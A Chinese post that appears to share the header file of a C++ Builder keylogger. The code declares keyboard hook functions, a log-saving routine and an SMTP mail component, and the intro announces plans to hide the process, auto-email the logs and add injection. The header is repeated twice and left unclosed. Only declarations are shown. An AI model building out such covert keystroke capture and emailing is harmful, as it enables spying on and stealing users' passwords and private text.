每天按键记录到c盘下一个文件中。以后准备再加上隐藏进程、自动发送邮件、自动注入等功能作成个简单的键盘监听程序。
KeyListening_Form.h:
//---------------------------------------------------------------------------
#ifndef KeyListening_FormH
#define KeyListening_FormH
//---------------------------------------------------------------------------
#include <vcl.h>
#include <Classes.hpp>
#include <Controls.hpp>
#include <StdCtrls.hpp>
#include <Forms.hpp>
#include <ExtCtrls.hpp>
#include <AppEvnts.hpp>
#include <time.h>
#include <stdio.h>
#include <NMsmtp.hpp>
#include <Psock.hpp>
//---------------------------------------------------------------------------
class TForm1 : public TForm
{
__published: // IDE-managed Components
TPanel *Panel1;
TButton *Button_Begin;
TButton *Button_Over;
TNMSMTP *NMSMTP1;
void __fastcall FormClose(TObject *Sender, TCloseAction &Action);
void __fastcall Button1Click(TObject *Sender);
void __fastcall Button_BeginClick(TObject *Sender);
void __fastcall Button_OverClick(TObject *Sender);
void __fastcall NMSMTP1AttachmentNotFound(AnsiString Filename);
private: // User declarations
#define Key_ADD 1
#define Key_NoOperate 0
#define Key_BackSpace -1
public: // User declarations
__fastcall TForm1(TComponent* Owner);
void __fastcall DisableHook();
LONG width,height;
HDC DesktopDC;
void __fastcall EnableHook();
void __fastcall SaveLog(char* c,int Operate);
int __fastcall FilterKeyboard(UINT vkCode, BOOL bKeyUp, unsigned char* ch);
};
//---------------------------------------------------------------------------
extern PACKAGE TForm1 *Form1;
bool ButtonDown = true; //按钮状态
KeyListening_Form.h:
//---------------------------------------------------------------------------
#ifndef KeyListening_FormH
#define KeyListening_FormH
//---------------------------------------------------------------------------
#include <vcl.h>
#include <Classes.hpp>
#include <Controls.hpp>
#include <StdCtrls.hpp>
#include <Forms.hpp>
#include <ExtCtrls.hpp>
#include <AppEvnts.hpp>
#include <time.h>
#include <stdio.h>
#include <NMsmtp.hpp>
#include <Psock.hpp>
//---------------------------------------------------------------------------
class TForm1 : public TForm
{
__published: // IDE-managed Components
TPanel *Panel1;
TButton *Button_Begin;
TButton *Button_Over;
TNMSMTP *NMSMTP1;
void __fastcall FormClose(TObject *Sender, TCloseAction &Action);
void __fastcall Button1Click(TObject *Sender);
void __fastcall Button_BeginClick(TObject *Sender);
void __fastcall Button_OverClick(TObject *Sender);
void __fastcall NMSMTP1AttachmentNotFound(AnsiString Filename);
private: // User declarations
#define Key_ADD 1
#define Key_NoOperate 0
#define Key_BackSpace -1
public: // User declarations
__fastcall TForm1(TComponent* Owner);
void __fastcall DisableHook();
LONG width,height;
HDC DesktopDC;
void __fastcall EnableHook();
void __fastcall SaveLog(char* c,int Operate);
int __fastcall FilterKeyboard(UINT vkCode, BOOL bKeyUp, unsigned char* ch);
};
//---------------------------------------------------------------------------
extern PACKAGE TForm1 *Form1;
bool ButtonDown = true; //按钮状态